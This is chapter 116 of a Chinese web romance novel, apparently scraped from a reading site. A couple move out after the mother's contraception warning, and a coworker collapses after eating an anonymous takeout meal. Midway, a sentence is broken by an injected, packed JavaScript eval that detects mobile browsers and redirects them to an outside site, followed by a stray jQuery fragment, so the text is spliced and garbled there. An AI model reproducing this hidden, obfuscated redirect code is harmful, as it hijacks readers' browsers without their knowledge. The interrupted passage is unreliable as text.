116. 第一百一十六章
作品:《刚要告白,老公重生了!》 “工作顺利吗?”
饭桌上,许春梅一边给两人夹菜一边问道。
苏棠动作一顿。下午那场不愉快的办公室谈话还堵在心口,让她神色间不自觉地流露出一丝勉强,但很快又扬起一个轻松的笑脸。
“还行,做的内容和以前大差不差。”
饭后,她帮着收拾了碗筷后,便准备跟周既明一起回附近的公寓。临出门前,她鞋都穿好了,许春梅却忽然把周既明叫到了阳台,还特意让苏棠在门口等一下。
两人一前一后进了阳台,许春梅转身就把阳台的玻璃门拉严实,像是要讲一些不可告人的事情。
隔着玻璃,苏棠看见许春梅凑近周既明,压低声音说了句什么。周既明先是愣了一下,随即连忙点头,脸上的表情变得有些微妙。
很快,阳台门被拉开,周既明走了出来,耳根似乎还泛着一点可疑的红。
直到苏棠和周既明回到隔壁公寓,苏棠才开口问他。
“我妈和你说什么了?神秘兮兮的。”
周既明假装没听见,顾左右而言他:“要不要找部电影看?”
苏棠嗔怪:“我问你话呢,别岔开话题。”
周既明已经在沙发上坐下,拿起遥控调出投影,一脸专注地开始选片。
“就......一些生活上的关心,没什么。”
苏棠去倒了两杯水,递给他一杯,顺势把他手里的遥控器夺过来:“什么生活上的关心还得关起门来说?”她睨了他一眼,见他还是不肯松口,“不说是吧?那我回去问她。”
她作势转身要走,被周既明一把拉住。
“呃......我劝你别去。”
“为什么?”
他战术性咳了两声,半晌才低声挤出几个字:
“她让我注意避孕......结婚之前。”
话音刚落,苏棠的脸倏地红了,下意识喝了口水却被呛到。
周既明一边给她拍背,一边无奈地说:“都说了没什么,你非要问。”
一阵急促的咳嗽后,气氛陷入尴尬。
她和周既明的同居生活,几乎是理所当然的,完全没有征询过许春梅这个作为家长的意见。
她一直觉得许春梅对她的事没那么上心,而且许春梅又对周既明那么信任,所以之前即便察觉对方对自己总在周既明这儿过夜似乎有些想法,她也没往深里想,没想到许春梅会找周既明“叮嘱”。
顿时有种日记被大人翻看的羞耻感。
“那你怎么说的?”她问周既明。
周既明:“还能怎么说,就说知道的、有的。”他顿了顿,“还有就是,说我们准备领证了。”
“行、行吧。”她说完,心烦意乱地起身去洗澡了。
周六晚上,两人之间一直是有着某种不成文的“规定”。
周既明见她早早进了浴室,以为是某种暗示,顺手丢开遥控器,拿起睡衣就兴冲冲地跟了进去。
“你干嘛?”
面对周既明的“不请自来”,苏棠板着脸把他关在门外。
周既明吃了闭门羹,只好耐心在外面等她洗完,再匆匆冲了澡,冲上床去抱她。
他开始对她动手动脚,但苏棠却异常冷淡,直接推开他上下游走的手。
“别弄。”她背对着他,语气不耐。
在得知许春梅给周既明做了那样的“交代”后,苏棠总觉得这房子像被监视着,浑身不自在。
一想到许春梅就住在同小区,每天用那种了然的眼神看他们,仿佛能透视前一晚的一切,她就做贼心虚地什么兴致都没了。
周既明被冷漠拒绝,像只挨了训的小狗,默默退到一边,转过身去,只留给她一个写满委屈和落寞的背影。
苏棠看着他这副样子,又好气又好笑,心里的烦躁瞬间散了大半。
她从后面靠过去,轻轻环住他的腰,把脸埋进他紧实温热的后背上,声音闷闷地说道:
“我就是觉得......好难为情啊。我就说,每天一起去她那儿吃早餐,总觉得她眼神哪里怪怪的。”
说着,她指尖不安分地戳了戳他侧腹紧实的肌肉。
“你不觉得很奇怪吗?整的我都不敢干什么了,总觉得屋里像装了监控。”
得知她推拒的原因,周既明心里瞬间明亮起来。刚才那短短一瞬,他胡思乱想了很多,甚至以为苏棠是腻了他这身子。搞半天,是许春梅的缘故。
他转过身,几乎没怎么过脑子,就给出了一个斩钉截铁的解决方案:
“我们搬家。”
......
自从和周既明搬到公司对面的小区,苏棠觉得上班都没那么痛苦了。
周既明找的房子就在她上班那栋大楼的对面,两侧有一条天桥联通。她去上班,连马路都不用过。周既明每天早上陪她一起吃完早饭,把她送到楼下,再开车去上班。
而且自从搬过来以后,只要周既明工作不忙,总会提前下班回家,变着花样做好饭等她。
不知道是不是换了新环境的缘故,他最近殷勤得有些过分,除了日常嘘寒问暖,在床上也格外勤奋。
苏棠想着反正公司就在对面,第二天溜达十分钟就到,没了迟到的压力,便也由着他夜夜笙歌,甚至乐在其中。
她开始后悔为什么不一开始就这么安排。
这不仅能让他每天省下一段通勤时间,两人早上也不用再火急火燎地起床,甚至可以挤出时间赖会儿床,腻歪一下......
越想,她嘴角的弧度就越发控制不住地上扬。
“苏棠,你最近看起来气色不错呀。”隔壁工位的小白看着她对着电脑屏幕呆笑,有些好奇地说道。
苏棠意识到自己再次再上班时候春心泛滥,连忙收起了表情,对一旁的小白投去一个不好意思的神情。
小白是办公室里目前对她唯一展示友好的同事。
尽管小白也是之前那个被解散项目组的一员,和其他人一样,和她(或者说和周既明)有着某种“血海深仇”。
但不知道是同为为数不多的女性
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936440|179806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
游戏策划,本身在项目里就属于边缘人物的缘故,小白不像其他人一样对她防备深重,反而透着一丝惺惺相惜。
她最近中午,都和小白一起吃饭。
她们不在公司饭堂吃,而是走去附近商圈的美食街解决午饭——在外面,她们能更畅快地吐槽办公室里的各种奇葩事。
“陈劲最近,是不是在故意收走你手上的工作?”小白问苏棠。
苏棠嗤笑一声,一脸无所谓:“对啊,防着我呗。想用这招逼我自己走?没门。我乐得清闲,反正工资又不会少我一分。”
小白哭丧着脸,声音都蔫了:“可是......他没告诉你,他收走的那些活儿,最后都堆到我这里来了......”
苏棠瞪大眼睛,完全没料到会是这种展开:“啊?对不起啊......小白。”
小白连忙摆摆手,表示没关系,还让苏棠要坚持住,在公司待久一点。
她说,苏棠是她这么多年唯一合得来的“工作搭子”,她不想失去她。
晚上,苏棠破天荒的加了班,原因无他,她悄悄和小白把一部分工作“盘”了回来。像数据分析这种常规的工作,纯属时间问题,没有太多技术含量。她做完后直接挂在小白的名下,外人根本看不出痕迹。
【我今晚可能要稍微晚一点回去,晚饭不用等我啦。爱心!】
她给周既明发了消息,然后一边啃着便利店买的三明治,一边对着屏幕上的数据流敲敲打打。
办公室逐渐空旷,灯光也变得冷清。快八点时,苏棠的内线响起,她接了电话,前台说有她的外卖。
苏棠一愣,她没点啊。
走过去一看,是附近一家知名茶餐厅的打包袋,里面装着热气腾腾的虾仁滑蛋饭和冻柠茶,还附了张手写卡片:
【加班辛苦,记得吃饭。】没有署名。
她心里一暖,下意识以为是周既明点的。可打开餐盒,闻到那股浓郁的油香和蛋腥味,她加了一晚上班、本就没什么食欲的胃顿时一阵翻搅。
“哇,茶餐厅!是你男朋友点的吗?他也太贴心了吧!”旁边的小白凑过来,眼睛发亮。
小白近来加班严重,到现在都没有吃晚饭,肚子发出的警告连苏棠都能听到。
“我没什么胃口,你饿不饿?要不给你吃?”苏棠问道。
“真的?那我就不客气了!正好饿得前胸贴后背。”小白欢天喜地地接过去,大口吃了起来。
苏棠笑了笑,继续工作。可不到半小时,旁边突然传来小白痛苦的闷哼。
“苏棠......我、我肚子......好疼......”
苏棠抬头,只见小白脸色惨白,额头布满冷汗,整个人蜷缩在椅子上。
她的视线猛地扫向一旁办公桌上那份外卖,后背瞬间窜起一股寒意,某种不好的预感爬上心头。
还没等她理清思绪,身旁的小白身体一软,直直地从办公椅上朝地上栽去,发出一声闷响。
苏棠惊呼:“快来人!有人、有人晕倒了!”

